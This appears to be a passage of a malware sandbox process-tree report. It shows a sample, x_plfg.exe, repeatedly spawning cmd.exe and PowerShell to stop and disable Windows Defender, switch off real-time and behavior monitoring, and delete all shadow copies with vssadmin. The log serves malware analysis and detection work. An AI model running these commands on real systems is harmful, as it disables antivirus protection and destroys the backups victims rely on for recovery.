        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        28⤵
        
        PID:6148
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        29⤵
        
        PID:11284
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        26⤵
        
        PID:28996
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        27⤵
        
        PID:31228
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop WinDefend 2>nul
        24⤵
        
        PID:24892
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        25⤵
        
        PID:30172
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        22⤵
        
        PID:12492
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        23⤵
        
        PID:12368
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        24⤵
        
        PID:14116
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        25⤵
        
        PID:15432
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        26⤵
        
        PID:17076
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        27⤵
        
        PID:19708
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        28⤵
        
        PID:26268
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        29⤵
        
        PID:30180
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        26⤵
        
        PID:30036
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        27⤵
        
        PID:40436
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        24⤵
        
        PID:28964
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        25⤵
        
        PID:32156
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop WinDefend 2>nul
        22⤵
        
        PID:24756
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        23⤵
        
        PID:28092
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c vssadmin delete shadows /all /quiet 2>nul
        22⤵
        
        PID:42560
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        20⤵
        
        PID:11744
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        21⤵
        
        PID:12624
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        22⤵
        
        PID:13316
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        23⤵
        
        PID:14804
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        24⤵
        
        PID:15560
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        25⤵
        
        PID:17880
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        26⤵
        
        PID:20576
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        27⤵
        
        PID:23144
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        28⤵
        
        PID:39176
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        29⤵
        
        PID:41312
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        26⤵
        
        PID:38224
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        27⤵
        
        PID:41376
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        24⤵
        
        PID:31840
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        25⤵
        
        PID:34988
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        22⤵
        
        PID:26228
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        23⤵
        
        PID:29984
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop WinDefend 2>nul
        20⤵
        
        PID:24764
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        21⤵
        
        PID:28272
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        18⤵
        
        PID:12276
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        19⤵
        
        PID:13120
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        20⤵
        
        PID:13680
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        21⤵
        
        PID:15116
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        22⤵
        
        PID:16248
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        23⤵
        
        PID:18568
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        24⤵
        
        PID:21116
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        25⤵
        
        PID:26920
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        24⤵
        
        PID:39492
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        22⤵
        
        PID:3728
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        23⤵
        
        PID:7332
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        20⤵
        
        PID:28772
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        21⤵
        
        PID:32436
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop WinDefend 2>nul
        18⤵
        
        PID:24344
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        19⤵
        
        PID:27596
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c vssadmin delete shadows /all /quiet 2>nul
        18⤵
        
        PID:41920
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        16⤵
        
        PID:12032
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        17⤵
        
        PID:12120
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        18⤵
        
        PID:12756
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        19⤵
        
        PID:13912
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        20⤵
        
        PID:14744
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        21⤵
        
        PID:16520
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        22⤵
        
        PID:17936
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        23⤵
        
        PID:21828
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        24⤵
        
        PID:30848
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        25⤵
        
        PID:3940
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        22⤵
        
        PID:15136
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        23⤵
        
        PID:41328
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        20⤵
        
        PID:29884
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        21⤵
        
        PID:25004
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        18⤵
        
        PID:22248
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        19⤵
        
        PID:29688
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop WinDefend 2>nul
        16⤵
        
        PID:23900
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        17⤵
        
        PID:27748
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c vssadmin delete shadows /all /quiet 2>nul
        16⤵
        
        PID:40000
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        14⤵
        
        PID:11852
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        15⤵
        
        PID:12336
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        16⤵
        
        PID:12988
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        17⤵
        
        PID:13484
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        18⤵
        
        PID:13204
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        19⤵
        
        PID:15616
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        20⤵
        
        PID:17256
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        21⤵
        
        PID:19964
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        22⤵
        
        PID:27280
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        23⤵
        
        PID:31000
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        20⤵
        
        PID:33700
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        21⤵
        
        PID:37808
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        18⤵
        
        PID:29596
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        19⤵
        
        PID:30452
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        16⤵
        
        PID:25812
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        17⤵
        
        PID:27788
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop WinDefend 2>nul
        14⤵
        
        PID:23580
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        15⤵
        
        PID:28896
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c vssadmin delete shadows /all /quiet 2>nul
        14⤵
        
        PID:42456
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        12⤵
        
        PID:11764
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        13⤵
        
        PID:12068
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        14⤵
        
        PID:12596
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        15⤵
        
        PID:13596
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        16⤵
        
        PID:11960
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        17⤵
        
        PID:15624
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        18⤵
        
        PID:17040
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        19⤵
        
        PID:20008
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        20⤵
        
        PID:27228
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        21⤵
        
        PID:30556
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        18⤵
        
        PID:34260
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        19⤵
        
        PID:39984
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        16⤵
        
        PID:28980
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        17⤵
        
        PID:32612
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        14⤵
        
        PID:25512
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        15⤵
        
        PID:28652
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop WinDefend 2>nul
        12⤵
        
        PID:20752
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        13⤵
        
        PID:27652
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        10⤵
        
        PID:11548
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        11⤵
        
        PID:12040
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        12⤵
        
        PID:12588
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        13⤵
        
        PID:12996
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        14⤵
        
        PID:13672
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        15⤵
        
        PID:14876
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        16⤵
        
        PID:16064
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        17⤵
        
        PID:18096
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        18⤵
        
        PID:20924
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        19⤵
        
        PID:23468
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        20⤵
        
        PID:39280
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        21⤵
        
        PID:41336
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        18⤵
        
        PID:40064
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        16⤵
        
        PID:5028
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        17⤵
        
        PID:34480
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        14⤵
        
        PID:4820
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        15⤵
        
        PID:33060
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        12⤵
        
        PID:25256
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        13⤵
        
        PID:28424
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop WinDefend 2>nul
        10⤵
        
        PID:23280
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        11⤵
        
        PID:27032
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c vssadmin delete shadows /all /quiet 2>nul
        10⤵
        
        PID:40040
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        8⤵
        
        PID:11400
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        9⤵
        
        PID:11688
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        10⤵
        
        PID:12076
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        11⤵
        
        PID:12396
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        12⤵
        
        PID:13164
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        13⤵
        
        PID:13704
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        14⤵
        
        PID:15196
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        15⤵
        
        PID:16980
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        16⤵
        
        PID:17616
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        17⤵
        
        PID:22200
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        18⤵
        
        PID:34656
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        19⤵
        
        PID:6660
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        16⤵
        
        PID:16268
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        14⤵
        
        PID:32092
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        15⤵
        
        PID:35132
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        12⤵
        
        PID:27264
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        13⤵
        
        PID:31768
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        10⤵
        
        PID:24136
        
